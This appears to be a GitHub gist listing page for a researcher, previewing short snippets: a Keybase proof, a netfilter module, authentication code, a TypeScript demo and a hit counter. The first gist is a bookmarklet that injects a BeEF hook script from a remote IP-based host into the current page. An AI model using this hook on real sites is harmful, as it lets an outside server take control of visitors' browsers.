Skip to content

Instantly share code, notes, and snippets.

View pmcao's full-sized avatar
🎯
Focusing

Phuong Cao pmcao

🎯
Focusing
  • National Center for Supercomputing Applications, University of Illinois at Urbana-Champaign
  • Greater Chicago Area
  • 13:46 (UTC -06:00)
View GitHub Profile
@pmcao
pmcao / beef
Last active December 19, 2017 23:47
beef
javascript: (function () %7B var url %3D %27http://45.63.74.130.xip.io:3000/hook.js%27%3Bif (typeof beef %3D%3D %27undefined%27) %7B var bf %3D document.createElement(%27script%27)%3B bf.type %3D %27text/javascript%27%3B bf.src %3D url%3B document.body.appendChild(bf)%3B%7D%7D)()%3B
@pmcao
pmcao / keybase.md
Last active June 17, 2019 05:01
keybase.md

Keybase proof

I hereby claim:

  • I am pmcao on github.
  • I am pmcao (https://keybase.io/pmcao) on keybase.
  • I have a public key whose fingerprint is 6F63 6FB8 6699 18CE 5F00 A9AA 52C3 185F 7FF3 F96D

To claim this, I am signing this object:

@pmcao
pmcao / netfilter-example.c
Created December 4, 2017 23:30
netfilter-example.c
// A netfilter kernel module to intercept TCP packets
// Time-stamp: <2017-11-27 18:06:12 phuong>
#include <linux/module.h>
#include <linux/printk.h>
#include <linux/sched.h>
#include <linux/tcp.h>
#include <linux/ip.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
@pmcao
pmcao / owin
Created September 8, 2017 04:11
owin
using AspMvcAuth.Data;
using AspMvcAuth.Models;
using AspMvcAuth.Repositories;
using Microsoft.AspNet.Identity;
using Microsoft.Owin.Security;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Security.Claims;
using System.Web;
@pmcao
pmcao / index.py
Last active November 17, 2017 13:46
SVAuth Python Platform
#!/usr/bin/env python
"""
SVAuth Python Platform
Time-stamp: <2017-11-17 07:40:51 phuong>
"""
import os
import requests
import json
// classA.ts
export class A {
a:string;
}
// app.ts
class C extends B {
@pmcao
pmcao / typescript-reflection.ts
Created May 9, 2016 19:43
typescript-reflection
// Playground link: https://www.typescriptlang.org/play/#src=var%20classHierarchy%3A%20any%20%3D%20%7B%7D%3B%0D%0A%0D%0Aclass%20A%20%7B%0D%0A%0D%0A%20%20%20%20a%3Astring%3B%0D%0A%0D%0A%20%20%20%20constructor%20()%7B%0D%0A%20%20%20%20%20%20%20%20document.body.innerHTML%20%2B%3D%20(%22constructing%20A%20%3Cbr%3E%22)%3B%0D%0A%20%20%20%20%20%20%20%20classHierarchy%5B%22base%22%5D%20%3D%20A.name%3B%0D%0A%20%20%20%20%7D%0D%0A%7D%0D%0A%0D%0A%0D%0Aclass%20B%20extends%20A%20%7B%0D%0A%0D%0A%20%20%20%20b%3Astring%3B%0D%0A%0D%0A%20%20%20%20constructor%20()%7B%0D%0A%20%20%20%20%20%20%20%20super()%3B%0D%0A%20%20%20%20%20%20%20%20document.body.innerHTML%20%2B%3D%20(%22constructing%20B%20%3Cbr%3E%22)%3B%0D%0A%20%20%20%20%20%20%20%20classHierarchy%5B%22trueClass%22%5D%20%3D%20B.name%3B%0D%0A%20%20%20%20%7D%0D%0A%7D%0D%0A%0D%0A%0D%0Aclass%20C%20extends%20B%20%7B%0D%0A%0D%0A%20%20%20%20c%3Astring%3B%0D%0A%0D%0A%20%20%20%20whoAmI()%20%7B%0D%0A%20%20%20%20%20%20%20%20console.log(classHierarchy)%3B%0D%0A%0D%0A%20%20%20%20%20%20%20
{% if not session.UserID%}
<a href="{{ url_for('login') }}">
log in
</a>
{% else %}
<a href="{{ url_for('logout') }}">
Hello {{ session.FullName }}, log out
</a>
{% endif %}
@pmcao
pmcao / thread-safe-hit-counter.py
Created March 17, 2016 22:24
Thread-safe hit counter
import time
import random
import threading
class HitCounter():
"""A thread-safe website hit counter using circular array
N: last N seconds we want to keep the number of hits
Assumption: number of hit per second < sys.maxsize of Python
"""
def __init__(self, N=300): # default 5 minutes (300 seconds)